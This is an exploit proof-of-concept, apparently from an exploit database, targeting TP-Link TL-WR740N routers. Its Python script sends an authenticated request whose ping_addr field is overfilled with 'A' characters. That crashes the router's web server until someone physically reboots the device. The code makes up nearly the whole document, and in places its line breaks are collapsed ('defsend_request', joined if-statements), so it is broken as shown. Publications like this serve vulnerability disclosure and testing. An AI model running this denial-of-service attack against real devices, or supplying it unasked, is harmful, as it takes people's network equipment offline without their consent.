# Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'# Date: 8/12/2023# Exploit Author: Anish Feroz (ZEROXINN)# Vendor Homepage: http://www.tp-link.com# Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n# Tested on: TP-Link TL-WR740N#Description:#There exist a buffer overflow vulnerability in TP-Link TL-WR740 router that can allow an attacker to crash the web server running on the router by sending a crafted request. To bring back the http (webserver), a user must physically reboot the router.#Usage:#python3 target username password#change port, if required------------------------------------------------POC-----------------------------------------#!/usr/bin/pythonimport requests
from requests.auth import HTTPBasicAuth
import base64
defsend_request(ip, username, password):
auth_url =f"http://{ip}:8082"
target_url =f"http://{ip}:8082/userRpm/PingIframeRpm.htm?ping_addr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20"
credentials =f"{username}:{password}"
encoded_credentials = base64.b64encode(credentials.encode()).decode()
headers ={"Host":f"{ip}:8082","Authorization":f"Basic {encoded_credentials}","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","Referer":f"http://{ip}:8082/userRpm/DiagnosticRpm.htm","Accept-Encoding":"gzip, deflate","Accept-Language":"en-US,en;q=0.9","Connection":"close"}
session = requests.Session()
response = session.get(target_url, headers=headers)if response.status_code ==200:print("Server Crashed")print(response.text)else:print(f"Script Completed with status code {response.status_code}")
ip_address =input("Enter IP address of the host: ")
username =input("Enter username: ")
password =input("Enter password: ")
send_request(ip_address, username, password)